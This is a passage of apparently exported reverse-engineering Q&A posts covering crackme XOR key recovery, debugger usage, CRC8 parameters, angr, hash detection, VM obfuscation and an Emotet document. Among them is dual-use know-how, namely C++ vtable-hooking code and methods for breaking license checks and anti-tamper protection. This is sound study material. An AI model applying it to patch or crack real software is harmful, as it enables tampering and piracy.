+0x80, 0xAD, 0x7E, 0x45, 0x41, 0x4D, 0x50, 0xF7, 0xA1, 0x77, 0x2F, 0x21, 0x46, 0x2A, 0x80, 0xC6,
+0x01, 0x54, 0x45, 0x41, 0x6D, 0xE5, 0xB1, 0x0C, 0x5C, 0x2F, 0x21, 0x35, 0x89, 0xC6, 0x68, 0x2D,
+0x54, 0x45, 0x24, 0x8B, 0xA3, 0x1E, 0x21, 0x5C, 0x2F, 0x4F, 0x80, 0xCF, 0x76, 0x46, 0x2D, 0x54,
+0x21, 0x87, 0xCD, 0x12, 0x31, 0x21, 0x5C, 0x0F, 0xE7, 0xC6, 0x7D, 0x46, 0x46, 0x2D, 0x2D, 0x83,
+0xC1, 0x7E, 0x23, 0x31, 0x21, 0x33, 0xE9, 0xA1, 0x72, 0x4F, 0x46, 0x46, 0x58, 0x92, 0xC5, 0x74,
+0x4D, 0x23, 0x31, 0x53, 0x9A, 0xAF, 0x17, 0x46, 0x4F, 0x46, 0x66, 0xEB, 0xD4, 0x72, 0x41, 0x4D,
+0x23, 0x42, 0xE7, 0xDC, 0x17, 0x21, 0x46, 0x4F, 0x29, 0x80, 0xAD, 0x6D, 0x45, 0x41, 0x4D, 0x4F,
+0xF7, 0xA1, 0x66, 0x2F, 0x21, 0x46, 0x3A, 0x80, 0xC6, 0x16, 0x54, 0x45, 0x41, 0x39, 0xE5, 0xB1,
+0x1D, 0x5C, 0x2F, 0x21, 0x2F, 0x89, 0xC6, 0x7B, 0x2D, 0x54, 0x45, 0x2E, 0x8B, 0xA3, 0x0F, 0x21,
+0x5C, 0x2F, 0x4F, 0x80, 0xCF, 0x79, 0x46, 0x2D, 0x54, 0x65, 0x87, 0xCD, 0x63, 0x31, 0x21, 0x5C,
+0x5B, 0xE7, 0xC6, 0x0E, 0x46, 0x46, 0x2D, 0x3B, 0x83, 0xC1, 0x0F, 0x23, 0x31, 0x21, 0x7C, 0xE9,
+0xA1, 0x05, 0x4F, 0x46, 0x46, 0x49, 0x92, 0xC5, 0x05, 0x4D, 0x23, 0x31, 0x42, 0x9A, 0xAF, 0x64,
+0x46, 0x4F, 0x46, 0x34, 0xEB, 0xD4, 0x03, 0x41, 0x4D, 0x23, 0x50, 0xE7, 0xDC, 0x68, 0x21, 0x46,
+0x4F, 0x25, 0x80, 0xAD, 0x1C, 0x45, 0x41, 0x4D, 0x48, 0xF7, 0xA1, 0x15, 0x2F, 0x21, 0x46, 0x7D,
+0x80, 0xC6, 0x67, 0x54, 0x45, 0x41, 0x7D, 0xE5, 0xB1, 0x6A, 0x5C, 0x2F, 0x21, 0x76, 0x89, 0xC6,
+0x0A, 0x2D, 0x54, 0x45, 0x76, 0x8B, 0xA3, 0x7C, 0x21, 0x5C, 0x2F, 0x61, 0x80, 0xCF, 0x08, 0x46,
+0x2D, 0x54, 0x22, 0x87, 0xCD, 0x6C, 0x31, 0x21, 0x5C, 0x42, 0xE7, 0xC6, 0x1F, 0x46, 0x46, 0x2D,
+0x35, 0x83, 0xC1, 0x1C, 0x23, 0x31, 0x21, 0x35, 0xE9, 0xA1, 0x14, 0x4F, 0x46, 0x46, 0x41, 0x92,
+0xC5, 0x12, 0x4D, 0x23, 0x31, 0x0F, 0x9A, 0xAF, 0x75, 0x46, 0x4F, 0x46, 0x25, 0xEB, 0xD4, 0x10,
+0x41, 0x4D, 0x23, 0x5E, 0xE7, 0xDC, 0x79, 0x21, 0x46, 0x4F, 0x2B, 0x80, 0xAD, 0x03, 0x45, 0x41,
+0x4D, 0x23, 0x59, 0x21, 0x5C, 0x2F, 0x21, 0x16, 0xCC, 0x86, 0x56, 0x7D, 0x3C, 0x45, 0x41, 0x4D,
+0x23, 0x88, 0x05, 0x33, 0x6F, 0x21, 0xB9, 0x9E, 0x85, 0x8D, 0x40, 0x00, 0x30, 0x74, 0x40, 0x00,
+0x50, 0x73, 0x40, 0x00, 0x5C, 0x0F, 0x41, 0x00, 0x98, 0x73, 0x40, 0x00, 0x98, 0x72, 0x40, 0x00,
+0x80, 0x74, 0x40, 0x00, 0xC0, 0x74, 0x40, 0x00, 0x28, 0x75, 0x40, 0x00, 0x0C, 0xD3, 0x41, 0x00,
+0x34, 0x00, 0x46, 0x00, 0x50, 0x74, 0x40, 0x00, 0x94, 0xD3, 0x41, 0x00, 0xAC, 0xD3, 0x41, 0x00,
+0x64, 0xD2, 0x41, 0x00, 0x28, 0x00, 0x46, 0x00, 0xD0, 0x73, 0x40, 0x00, 0xE4, 0xD2, 0x41, 0x00,
+0x10, 0xE0, 0x45, 0x00, 0x38, 0x75, 0x40, 0x00, 0x44, 0x00, 0x46, 0x00, 0x08, 0x00, 0x46, 0x00,
+0x2C, 0xD2, 0x41, 0x00, 0x8C, 0xD3, 0x41, 0x00, 0x10, 0x75, 0x40, 0x00, 0x7C, 0xD3, 0x41, 0x00
+
+
+Upon receiving user input, the program checks its length and if it's different than 15 it aborts execution. So I know for a fact that the key is 15 characters long, so far so good. After the decrypting the buffer the following sequence of comparations takes place:
+ +mov eax, [ebp+decrypted_buffer]
+mov [ebp+var_4], eax
+mov eax, [ebp+decrypted_buffer]
+cmp byte ptr [eax], 60h ;
+jnz short invalid_key
+
+mov eax, [ebp+decrypted_buffer]
+cmp byte ptr [eax+4], 0D0h
+jnz short invalid_key
+mov eax, [ebp+decrypted_buffer]
+cmp byte ptr [eax+9], 0
+jnz short invalid_key
+
+
+Since the 1st, 5th and 10th bytes of the decrypted buffer are expected to be 0x60, 0x0D0, 0x0 we can find the 1st, 5th and 9th bytes of the key, namely: 0x2F, 0x46, 0x41
+ +So the right key should be something like: ""/***F****A*******""
+ +My question is: How do I find the rest of the key?
+",27220,,14622,,1/25/2019 11:17,10/1/2021 8:41,XOR encryption - How to find the key?,I think you mixed up segments and sections on ELF. Unlike PE where sections define how the application is mapped and page permissions, ELF loaders only use segments PT_LOAD
to do that. Segments don't have name, so there's nothing like .rodata
segment, only .rodata
section. You can verify that be setting 0x0 to the field ElfN_Ehdr::e_shoff
, it'll still work.
Now regarding the initial question, it seems ELF executable used to have only two PT_LOAD
segments, one is R-X
and RW-
. If a data is const, it'll be stored inside the first segment which is also executable. It's not true anymore on my archlinux.
I am using IDA pro to follow along a youtube video of RE from OALabs. https://www.youtube.com/watch?v=kdNQhfgoQoU&t=1575s
+ +I am facing a problem when i try to put a break point on functions in ntdll, when i double click c:\windows\system32\ntdll.dll in the modules windows I get warning saying ""Module c:\windows\system32\ntdll.dll has no names"". When i right click on c:\windows\system32\ntdll.dll in the modules window and select load debug symbols, it downloads something but I am still not able to see the functions i would like to put break point on like NtResumeThread.
+ +Appreciate any assistance or suggestions. Pic attached for reference.
You have to gather more constraints
+ +And you should start with the last one. I assume this is an x86 executable, so 0x60 would correspond to an PUSHA
instruction, which does does seem reasonable.
You could run a bruteforce with different keys and check if the result resolves to valid assembler, for example utilizing a stream disassembler such as diStorm or even CPU enumation with tools such as Unicorn.
+ +Since you know 3 Bytes for sure, you have 12 bytes of entropy, resulting in 256^12 possible combinations to check. This is still too much, but you got even more information!
+ +Since the xor key is repeated all 15 bytes, you already know 1/5 of all decrypted data. Have a look at it and try to see if you can make up reasonable contexts for it, such as common instruction sequences (prologes, epiloges, dataflow based).
+ +For example, when the 5th byte is supposed to be 0xd0, this would evalute to a kind of shift operation. it that reasonable? When yes, where does the data come from? Maybe the four bytes between could indicate that.
+ +Another point is the comment by sudhackar - What does the code do which yields the execution to this block? Which registers are set? Does it push a return location to the stack or is there a hard coded return location? Reversing this information would yield some bytes of the key.
+ +edit:
+ +Just realized you have even more information. When you limit the xor key to the range of printable ASCII characters, they will have to be in a range ox 0x20 to 0x7e. Reducing the base problem to 94^12.
+",3162,,14622,,1/25/2019 10:43,1/25/2019 10:43,,,,0,,,,CC BY-SA 4.0 +20466,1,,,1/25/2019 11:17,,1,1904,"Fortnite has a feature that records your gameplay and saves it as a .replay file, now I don't believe these files are encrypted, only compressed.
+ +I wasn't able to find a way online to decompress such files and I'd like to know how, and if there's a possibility of decompressing then re-compressing the files again. +I'd like to also know if there's any suggestions to programs that does the job
+ +Here's the beginning of the file in HexEditor
+
I've done some testing (replacing values and checking if anything changes) and found a few things:
+
+(Not sure if they would be any useful but thought I'd still share)
EDIT: I'm trying to end up with something like this
+
This file does not seem encrypted (lots of ASCII).
+ +This is most likely based on the Unreal Engine 4's replay mechamisms
+ +According to its documentation, is describes a starting state as well as any changes to this state in chronological order.
+ +https://docs.unrealengine.com/en-us/Engine/Replay/Streamers#replaydataformat +https://docs.unrealengine.com/en-us/Engine/Replay +https://wiki.unrealengine.com/Replay_System_Tutorial +https://api.unrealengine.com/INT/Engine/Replay/index.html
+ +Since the source code of UE4 is available online, you could have a look at the sections writing and parsing those replays.
+ +https://www.unrealengine.com/en-US/ue4-on-github
+ +-> What exactly do you want to extract from these replays? If you want to generate videos, I recommend capturing the parts you want with third party software.
+",3162,,,,,1/25/2019 11:49,,,,3,,,,CC BY-SA 4.0 +20468,1,,,1/25/2019 13:25,,1,1307,"I am using x32dbg to debug a program. I want to find the line which corresponds to a pop up message in my program to put a Break point. +But everytime that I set ""Pause"" after the pop up window's opening the program stops in Kifastsystemcallret in ntdll module. +I succeed one time to set a Break point and to work it fine, but I can't do it anymore... +I don't understand... +Thanks for advance for answering and sorry for my bad english and capacities in debugging...
+ +Thanks for your answer... I've uploaded two photos... The first shows the call stacks ; the second the KiFastSystemCallRet... I don't know where down the line I will return.
+I've tried to type all the expression adresses without any success...
when any app is performing a system call it is normal to pause on KiFastSystemCallRet ( windbg callstack for 4 threads when application is paused windbg uses a seperate thread to breakin so the current thread is paused at DoDebugBreak
+ +0:003> ~*k2
+
+ 0 Id: da4.a8c Suspend: 1 Teb: 7ffdf000 Unfrozen
+ChildEBP RetAddr
+0019ead4 75c1cde0 ntdll!KiFastSystemCallRet
+0019ead8 75c1ce13 USER32!NtUserGetMessage+0xc
+
+ 1 Id: da4.a24 Suspend: 1 Teb: 7ffde000 Unfrozen
+ChildEBP RetAddr
+00b6fce8 77456a44 ntdll!KiFastSystemCallRet
+00b6fcec 755e6a36 ntdll!NtWaitForMultipleObjects+0xc
+
+ 2 Id: da4.ce8 Suspend: 1 Teb: 7ffdd000 Unfrozen
+ChildEBP RetAddr
+029ffec0 77456a44 ntdll!KiFastSystemCallRet
+029ffec4 73e5a41c ntdll!NtWaitForMultipleObjects+0xc
+
+# 3 Id: da4.d8c Suspend: 1 Teb: 7ffdc000 Unfrozen
+ChildEBP RetAddr
+02b9f7f8 774af20f ntdll!DbgBreakPoint
+02b9f828 75a1ed6c ntdll!DbgUiRemoteBreakin+0x3c
+0:003>
+
+
+a system call is a call which transitions from user mode to kernel mode
+ +using sysenter instruction normally
+ +when you issue a pause (f12 , esc) and when paused in that function take a look at call stack to see where down the line you will return
+ +(you can type printstack in x64dbg commandline also to dump the call stack to log window)
+ +17 call stack frames (EIP = 774570F4 , ESP = 000AE8EC , EBP = 000AE8FC ):
+000AE900 ntdll._KiFastSystemCallRet@0
+000AE910 uxtheme.74371A62
+000AE920 uxtheme.74371A2F
+000AE970 uxtheme.74371D38
+000AE98C uxtheme.74371F20
+000AE9D4 user32._GetRealWindowOwner@4+78
+000AEE60 calc.00F51F4F
+000AEE8C user32._InternalCallWinProc@20+23
+000AEF04 user32._UserCallWinProcCheckWow@32+B3
+000AEF60 user32._DispatchClientMessage@20+4B
+000AEF88 user32.___fnDWORD@4+24
+000AEFD4 ntdll._KiUserCallbackDispatcher@12+2E
+000AFD50 calc.00F51CBC
+000AFDE0 calc.00F6219A
+000AFDEC kernel32.75A1ED6C
+000AFE2C ntdll.___RtlUserThreadStart@8+27
+000AFE44 ntdll.__RtlUserThreadStart@8+1B
+
+",3473,,3473,,1/25/2019 13:53,1/25/2019 13:53,,,,0,,,,CC BY-SA 4.0
+20471,2,,20447,1/25/2019 15:03,,1,,"Yes, you can actually debug remotely using 2 Virtual Machines as long as they have network connection.
+ +Just copy the server file in the dbgsrv folder from IDA directory and choose what type of architecture you will debug.
+ + + + + +Just make sure you have to change the permission of the file to executable using chmod +x
+ + + + +",23113,,,,,1/25/2019 15:03,,,,1,,,,CC BY-SA 4.0 +20473,1,20479,,1/26/2019 1:36,,0,548,"How can I print the opcodes in a trace log?
+ +I can use {x:bswap([cip])}
but this will print a fix amount of bytes (which most of the time will end up as either more or less number of bytes), regardless of the ones that the instruction does have
trace record log file already logs opcodes
+select the trace window
+select start run trace
+accept the file name
+and start tracing
+it will trace 50000 steps (default can be configured in preferences) and stop
and the format of trace file is documented so you can code some utility to parse it if you want
+ + +",3473,,,,,1/26/2019 17:29,,,,1,,,,CC BY-SA 4.0 +20478,1,,,1/26/2019 18:14,,1,66,"Is there a tool which can profile the .NET binaries (32-bit and 64-bit) during execution to generate an API trace providing details of the methods called and the parameters passed to each method?
+ +Since .NET is JIT based, I think it should be feasible to do.
+ +An API trace in the following format would be desirable:
+ +<Address 1> <Method 1> <Parameter 1, Parameter 2>
+<Address 2> <Method 2> <Parameter 1, Parameter 2>
+....
+<Address N> <Method N> <Parameter 1, Parameter 2>
+
+
+And an extension of this question. Is there a tool which can provide the similar information for each Windows API called by the .NET Binary as well?
+",2673,,,,,1/26/2019 18:14,.NET Method Tracing with Parameters,<.net>,0,1,,,,CC BY-SA 4.0 +20479,2,,20473,1/27/2019 9:39,,2,,"You can use {mem;dis.len(cip)@cip}
. See http://help.x64dbg.com/en/latest/introduction/Formatting.html for the relevant documentation.
Why does the function not get hooked when called with instance member obj.myFunc() ?
+ +class Myclass
+{
+
+public:
+ virtual void myFunc() = 0;
+
+};
+class Derived : public Myclass
+{
+public:
+ void myFunc()
+ {
+ std::cout << ""Actual method is called"" << std::endl;
+ }
+};
+
+ void __fastcall hk_myFunc(void* thisPtr, int edx)
+ {
+ std::cout << ""Hooked method is called"" << std::endl;
+ }
+
+typedef void(__thiscall *fPtr)();
+
+int main()
+{
+ Derived* ptr = new Derived();
+ ptr->myFunc();// Output : Actual method is called.
+ void** vTPtr = *(reinterpret_cast<void ***>(ptr));
+ DWORD oldProtection;
+ VirtualProtect(vTPtr, 4, PAGE_EXECUTE_READWRITE, &oldProtection);
+ *vTPtr = reinterpret_cast<fPtr>(&hk_myFunc);
+ VirtualProtect(vTPtr, 4, oldProtection, 0);
+ ptr->myFunc(); //Output: Hooked method is called
+ Derived obj = *ptr;
+ obj.myFunc(); // Output : Actual method is called. Why ??
+ return 0;
+}
+
+",27250,,,,,1/30/2019 5:40,Why does vmt hooking not work with instance member in the following case?,I am creating a CAN Bus on-bench testing solution which replicates the entire vehicle to test a single module. I have a number of messages that require a CRC byte in order to be valid. The messages are in little-endian byte order, and the CRC value is held in byte 0. I have collected valid messages with a changing 4 bit alive-counter along with their CRC byte with the hope someone can help. I have tried CRC reveng, but either do not know hot to use it correctly or it is unable to find the polynomial, as it shows ""No models found"" when searching.
+ +For reference, I found documentation that suggests the polynomial used is the standard SAE J1850 CRC8 polynomial x^8 + x^4 + x^3 + x^2 + 1, with a CRC-ID in decimal of 166 (stated as used for the low byte). I have also tried with the online calculator available here: http://www.sunshine2k.de/coding/javascript/crc/crc_js.html, but cannot get the correct result.
+ +If anyone could provide some assistance, I would greatly appreciate it. I would like help in clarifying the correct polynomial, along with any other relevant parameters. Here are a list of values captured:
+ + + +This is the text version of above. I've separated the CRC value in byte 0 from the rest of the message for clarity.
+ +57 0000C0F0C1FFFF
+0A 0100C0F0C1FFFF
+ED 0200C0F0C1FFFF
+B0 0300C0F0C1FFFF
+3E 0400C0F0C1FFFF
+63 0500C0F0C1FFFF
+84 0600C0F0C1FFFF
+D9 0700C0F0C1FFFF
+85 0800C0F0C1FFFF
+D8 0900C0F0C1FFFF
+3F 0A00C0F0C1FFFF
+62 0B00C0F0C1FFFF
+EC 0C00C0F0C1FFFF
+B1 0D00C0F0C1FFFF
+56 0E00C0F0C1FFFF
+
+",27246,,27246,,1/27/2019 20:11,1/27/2019 22:40,CRC8 reverse engineering,Use that same page, and select CRC_SAE_J1850, but then switch to 'Custom' and change the 'Final Xor Value' to 0x7a.
+ +The settings should be:
+ +Use Byte1-Byte7 as input.
+ +Given:
+ +crc_data[n]
is the crc from your provided data for dataset n
crc_sae_j1850[n]
is the standard CRC SAE J1850 value for dataset n
I noticed that for any i
, j
:
crc_data[i] ^ crc_data[j] = crc_sae_j1850[i] ^ crc_sae_j1850[j]
+
+
+e.g. for i=0
, j=1
:
0x57 ^ 0x0a = 0xd2 ^ 0x8f
+0x5d = 0x5d
+
+
+This means that the final xor value can be adjusted to get the desired values:
+ +new_final_xor = original_final_xor ^ crc_data[i] ^ crc_sae_j1850[i]
+ = 0xff ^ 0x57 ^ 0xd2
+ = 0x7a
+
+",12017,,,,,1/27/2019 22:40,,,,1,,,,CC BY-SA 4.0
+20487,1,,,1/28/2019 1:11,,2,129,"I'm trying to reverse an ARM executable. It's for an embedded system, but I don't have any details about the normally targeted environment.
+ +Here's what file
shows: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
I've tried running it on Linux using qemu and the process immediately terminates with the message ""Killed"". Running strace ./executable
returns this:
execve(""./executable"", [""./executable""], [/*13 vars */] <unfinished ...>
++++ killed by SIGKILL +++
+Killed
I'm using the Debian Wheezy image from here: https://people.debian.org/~aurel32/qemu/armel/
+ +Any ideas why this is happening?
+",27261,,,,,1/28/2019 11:28,Process Immediately Killed,I used a less smart approach. I wrote the hex blob to a file, wrote a quick Python script to add a padding byte after every 15th byte so the whole file is nicely aligned when opening it in a hex editor with standard 16 byte width and just had a look at it.
+ +With the padding done, all columns share the same key so I just looked at what letter appeared the most in each of the 15 columns, hoping/assuming the most frequent byte in each column (in the plaintext) would be a 0 byte and thus leak a key byte.
+ +Every column seemed to have a printable character as the most used which fits the context of a crackme where you enter a printable key, so it appeared this worked.
+ +To verify, I googled for the supposed key and some writeup from 2008 had the same. If that writeup didn't exist I'd have to decode the blob and see if the assembly makes sense of course.
+",23277,,,,,1/28/2019 3:52,,,,2,,,,CC BY-SA 4.0 +20491,2,,20464,1/28/2019 10:47,,0,,"Simply set the breakpoint on ZwResumeThread
(also shown in your screenshot). From user mode the only difference between NtResumeThread
and ZwResumeThread
is the name prefix. In kernel mode these functions (of ntoskrnl.exe
instead of ntdll.dll
) have implementation differences indeed.
You may want to brush up on Windows internals a bit. This article by Geoff Chappell may help.
+",245,,,,,1/28/2019 10:47,,,,0,,,,CC BY-SA 4.0 +20492,2,,20487,1/28/2019 11:28,,3,,"The process may send itself (or it's child processes) the SIGTERM signal as part of an anti-debugging trick. Hunting for that will require you to search for signal-sending APIs like kill
and how/when they're being used by the application.
A more simple solution, that is not necessarily RE related, could be that the process is killed by the OOM killer.
+ +To test that, you can run mesg | egrep -i “killed process”
inside the emulated machine.
If that's the case, you can easily disable it (add vm.oom-kill = 0
in /etc/sysctl.conf
).
Am using the free version of IDA pro, and have loaded the program with no apparent problems. I see assembler and stuff.
+ +The parts of the program I am interested in is where it reads a file. This is a binary file that (I assume) goes into some data structure. I am trying to find out the binary format used in the file.
+ +Is there some simple way to find the relevant parts of the code?
+ +Edit: it is a Windows program, not very old, and I am using Linux (if that matters).
+",19805,,19805,,1/28/2019 17:35,10/19/2020 22:02,finding file I/O in IDA Pro (actually IDA free),You need to focus on imported functions which access to file. +In your case it could be WinAPI (CreateFileA/W, ReadFile), libc (fopen, fread), libc++ (std::fstream, be careful about the name mangling), etc. +However, the executable could also rely on 3rd parties DLL to do that. +Then you can use the cross-references to see where your program calls these functions.
+",26176,,,,,1/28/2019 18:35,,,,2,,,,CC BY-SA 4.0 +20495,1,20504,,1/28/2019 18:59,,2,747,"Look at this c program:
+ +#include <stdio.h>
+
+int my_function(int a, int b);
+
+int my_function(int a, int b)
+{
+ // Imagine a very complex calculation on 'a' and 'b'
+ if (a==0x41 && b==0x42)
+ {
+ return 1;
+ }
+ return 0;
+}
+
+
+int main(int argc , char *argv[])
+{
+ int c = 10;
+ int d = 10;
+ // Lot of stuff, including UI
+ if (my_function(c,d)==1)
+ {
+ printf(""Good\n"");
+ }
+ else
+ {
+ printf(""Wrong !\n"");
+ }
+ return 0;
+}
+
+
+Suppose i have compiled this program and i do not have source code.
+ +Here is what is see with a disassembler:
+ +...
+0x00001180 e8b0ffffff call sym.my_function
+....
+
+| ; var int local_8h @ rbp-0x8
+| ; var int local_4h @ rbp-0x4
+| ; CALL XREF from 0x00001180 (main)
+| 0x00001135 55 push rbp
+| 0x00001136 4889e5 mov rbp, rsp
+| 0x00001139 897dfc mov dword [local_4h], edi
+| 0x0000113c 8975f8 mov dword [local_8h], esi
+| 0x0000113f 837dfc41 cmp dword [local_4h], 0x41 ; [0x41:4]=0x4000000 ; 'A'
+| ,=< 0x00001143 750d jne 0x1152
+| | 0x00001145 837df842 cmp dword [local_8h], 0x42 ; [0x42:4]=0x40000 ; 'B'
+| ,==< 0x00001149 7507 jne 0x1152
+| || 0x0000114b b801000000 mov eax, 1
+| ,===< 0x00001150 eb05 jmp 0x1157
+| ||| ; JMP XREF from 0x00001143 (sym.my_function)
+| ||| ; JMP XREF from 0x00001149 (sym.my_function)
+| |``-> 0x00001152 b800000000 mov eax, 0
+| | ; JMP XREF from 0x00001150 (sym.my_function)
+| `---> 0x00001157 5d pop rbp
+\ 0x00001158 c3 ret
+
+
+What i want to do is to write a python/angr program which will try to solve this function and tell me which argument i should send to the function in order to return 1.
+ +In other words, i want to ask angr this question:
+ +""Start your analyse at 0x00001135 address. +Tell me what i should put in rbp-0x8 and rbp-0x4 memory addresses in order to reach 0x0000114b code"".
+ +Thanks
+ +* EDIT WITH STRING *
+ +#include <stdio.h>
+#include <string.h>
+
+int my_function(char *s);
+
+int my_function(char *s)
+{
+ if (strlen(s)!=4)
+ {
+ return 0;
+ }
+
+ for (int i=0;i<4;i++)
+ {
+ s[i]++;
+ }
+
+ if (strncmp(s,""b{fs"",4)==0)
+ {
+ return 1;
+ }
+ return 0;
+}
+
+
+int main(int argc , char *argv[])
+{
+ if (my_function(argv[1])==1)
+ {
+ printf(""Good\n"");
+ }
+ else
+ {
+ printf(""Wrong !\n"");
+ }
+ return 0;
+}
+
+",18590,,18590,,1/30/2019 13:35,1/30/2019 13:35,Solve a function with angr,I use FindCrypt2
Ida plugin but it detect md4 and not md5 , and not detect sha256.
How can I detect md5 in assembly?
How can I detect sha256 in assembly?
thanks
+",27273,,,,,10/22/2022 3:08,How to detect md5 and sha256?,You can usually spot MD5 quite easily by looking for a huge function. It tends to be the biggest function in the whole binary. That's the MD5_Process()
(if I recall the name correctly) function which compilers like to unroll completely, thus making it huge.
Generally, typical hash functions have 3 distinct functions:
+ +Both MD5 and SHA256 use magic constants in their init function. You should try to find a C source for either, look for the init functions and the constants (usually hidden in some macro) and then search for those constants in your disassembly.
+ +This is general advice for cryptographic stuff. Find sourcecode, look for distinct constants/patterns and then see if you can find them in disassembly.
+",23277,,,,,1/28/2019 21:20,,,,0,,,,CC BY-SA 4.0 +20499,2,,20481,1/29/2019 7:41,,2,,"The problem is the way you reference this object with a new pointer.
+ +Derived obj = *ptr;
+
+
+This actually creates a new object utilizing the data of the old object. Yay! C++!
+ + + +In line 27 you can see that a new object is generated by calling a constructor. If you have a look at the disassembly, you'll see the vtable is not used for the function call. Hence you end up with the non-modified function.
+ + + +Btw, when you change the line referenced above to
+ +(*ptr).myFunc();
+
+
+The output works as expected
+",3162,,3162,,1/30/2019 5:40,1/30/2019 5:40,,,,0,,,,CC BY-SA 4.0 +20501,1,,,1/29/2019 16:45,,4,630,"I'm reverse-engineering a particular dylib on Mac OS X. The dylib is highly obfuscated, but I suspect it's from some well-known technique that I'm not aware of.
+ +I'd like to describe it in the hope that someone here could identify it:
+ +There are junk instructions inserted everywhere, and every basic block is split by a lot of unconditional jump (but no opaque predicate is used).
At its core, it looks like a obfuscated VM. It behaves like this:
At entry, it push a starting value on the stack, then call
an entry point:
000000010013E070 68 5C 98 42 11 push 1142985Ch
+000000010013E075 E8 B5 B4 0E 00 call sub_10022952F
+
+
+The entry (e.g. sub_10022952F
) isn't a usual function. It will save all registers and point rsi
to an embedded data location that is determined by the push
(i.e. the push 1142985Ch
above), then starts reading rsi
array and jumping accordingly:
000000010013EED7 8B 06 mov eax, [rsi]
+000000010013EED9 F5 ;; cmc
+000000010013EEDA 45 84 FD ;; test r13b, r15b
+000000010013EEDD 48 81 C6 04 00 00 00 add rsi, 4
+000000010013EEE4 66 41 81 FA 1C 3B ;; cmp r10w, 3B1Ch
+000000010013EEEA 33 C3 xor eax, ebx
+000000010013EEEC D1 C0 rol eax, 1
+000000010013EEEE E9 FD 8E 15 00 jmp loc_100297DF0
+
+0000000100297DF0 FF C0 inc eax
+0000000100297DF2 0F C8 bswap eax
+0000000100297DF4 F8 ;; clc
+0000000100297DF5 E9 F2 D6 E4 FF jmp loc_1000E54EC
+
+00000001000E54EC C1 C0 03 rol eax, 3
+00000001000E54EF 0F C8 bswap eax
+00000001000E54F1 53 push rbx
+00000001000E54F2 31 04 24 xor [rsp], eax
+00000001000E54F5 0F B7 D8 ;; movzx ebx, ax
+00000001000E54F8 0F BA F3 82 ;; btr ebx, 82h
+00000001000E54FC 5B pop rbx
+00000001000E54FD F5 ;; cmc
+00000001000E54FE 49 F7 C7 E5 0F 9B 74 ;; test r15, 749B0FE5h
+00000001000E5505 F9 ;; stc
+00000001000E5506 48 63 C0 movsxd rax, eax
+00000001000E5509 48 03 F8 add rdi, rax
+00000001000E550C E9 D0 49 08 00 jmp loc_100169EE1
+
+0000000100169EE1 FF E7 jmp rdi
+
+
+I've commented out junk code. The code will fetch value from [rsi]
into rax
, and do some bit-level-operation with rbx
; then advance rdi <- rdi + rax
; then jump to rdi
.
This structure is everywhere in the dylib, and in a chain connected by jmp rdi
, the bit-level-operations are also the same. But chains from different entry point may have different bit operation for rax
and rbx
.
The VM doesn't have any central structure (like a dispatcher or something), and the jumps go everywhere, not restricted to some location.
+ +To call external function like pthread_mutex_lock
, it will go out of the VM loop first; then call the external function; then go to another entry point. There are many entry points (push xxxx / call xxxx
) to enter VM loop.
I believe this is some well-known technique, because when the dylib is modified, it will prompt message:
+ +++ +File corrupted! This program has been manipulated and maybe it's + infected by a Virus or cracked. This file won't work anymore.
+
It's not a standard Mac OS X message, and Google search for this exact message gives a lot of result, but none of them explains the technique itself.
+ +It has sections named UPX0/UPX1, but I think they are disguise and the technique has nothing to do with UPX. Because the code only does self-checking, no self-modifying. As a result, it's still obfuscated just as the original file after fully loaded.
I don't know how the it works exactly by now. But I think it's some sort of a VM, because I've traced the invoke of a function of the dylib, I only find the following normal function calls:
pthread_mutex_lock
--> 3 new operator
--> pthread_mutex_unlock
.
And everything else is done inside by those jump rdi
structures mentioned above and switches among many entries points. Therefore the rest of the code logic resides in the VM loop.
I could be wrong, but it looks like VMProtect v3. For this version, this obfuscator inlines all handlers, so that's normal you don't find any dispatcher.
+",26176,,,,,1/29/2019 19:17,,,,1,,,,CC BY-SA 4.0 +20504,2,,20495,1/30/2019 7:50,,5,,"thanks for your example scenario.
+ +As a disclamer, I compiled your example source code with clang and my disassembly looks like this:
+ + + +Then all you need is a small python script like this:
+ +import angr
+
+function_start = 0x4004f0
+function_target = 0x40050e
+function_end = 0x400521
+
+p = angr.Project(""./a.out"")
+state = p.factory.blank_state(addr=function_start)
+a = state.solver.BVS('a', 32)
+b = state.solver.BVS('b', 32)
+state.regs.esi = b
+state.regs.edi = a
+
+sm = p.factory.simulation_manager(state)
+sm.explore(find=function_target, avoid=function_end)
+
+found_path = sm.found[0]
+print 'a: %d\nb: %d' % (found_path.state.se.eval(a), found_path.state.se.eval(b))
+
+
+Please note this example is trivial, but in any other case you should try to add as many constraints on values as possible.
+ +edit
+ +Here we go again with stack variable conditions. For this sake, we just skip the first 4 instructions of the function:
+ +import angr
+
+function_start = 0x4004fa
+function_target = 0x40050e
+function_end = 0x400521
+
+p = angr.Project(""./a.out"")
+state = p.factory.blank_state(addr=function_start)
+a = state.solver.BVS('a', 32)
+b = state.solver.BVS('b', 32)
+state.mem[state.regs.rbp - 0x8].uint32_t = a
+state.mem[state.regs.rbp - 0xc].uint32_t = b
+
+sm = p.factory.simulation_manager(state)
+sm.explore(find=function_target, avoid=function_end)
+
+found_path = sm.found[0]
+print 'a: %d\nb: %d' % (found_path.state.se.eval(a), found_path.state.se.eval(b))
+
+",3162,,3162,,1/30/2019 8:31,1/30/2019 8:31,,,,7,,,,CC BY-SA 4.0
+20506,1,20510,,1/30/2019 9:30,,1,180,"This pastebin hosts current URLs hosting the fake invoice of Emotet malware, which is the dropper part of the malware.
+ +The document is a Office Open XML, and there are two large non textual segments in it.
+ +I can't make any sense of the other segment.
+ + + +I assume the other one contains at least some VB script and something else, but it decodes (assuming base64 like the jpg part) to nothing that file recognizes.
+",27293,,,,,1/30/2019 13:01,"Emotet invoice, what is the embedded file inside the word document",Without reviewing the file itself, other than a VB script used as a macro, the second part is more likely an obfuscated/encrypted executable file of some sort.
+ +However since it's evident macros are used, the executable file (either a PE or a script) is probably at least somewhat obfuscated and will only be decoded/decrypted before being it's dropped to disk or something similar.
+ +Statically, your safest bet would be extracting the macro (that isn't hard, macros are pretty noticeable as far as the standard is concerned) and reversing the decoding/deobfuscating method used.
+ +An easier approach would be to let the document drop the executable by opening it and letting the macros run inside a VM, optionally using something like process explorer/api monitor to catch the dropped file.
+",2147,,,,,1/30/2019 9:56,,,,2,,,,CC BY-SA 4.0 +20508,1,20512,,1/30/2019 10:41,,2,234,"
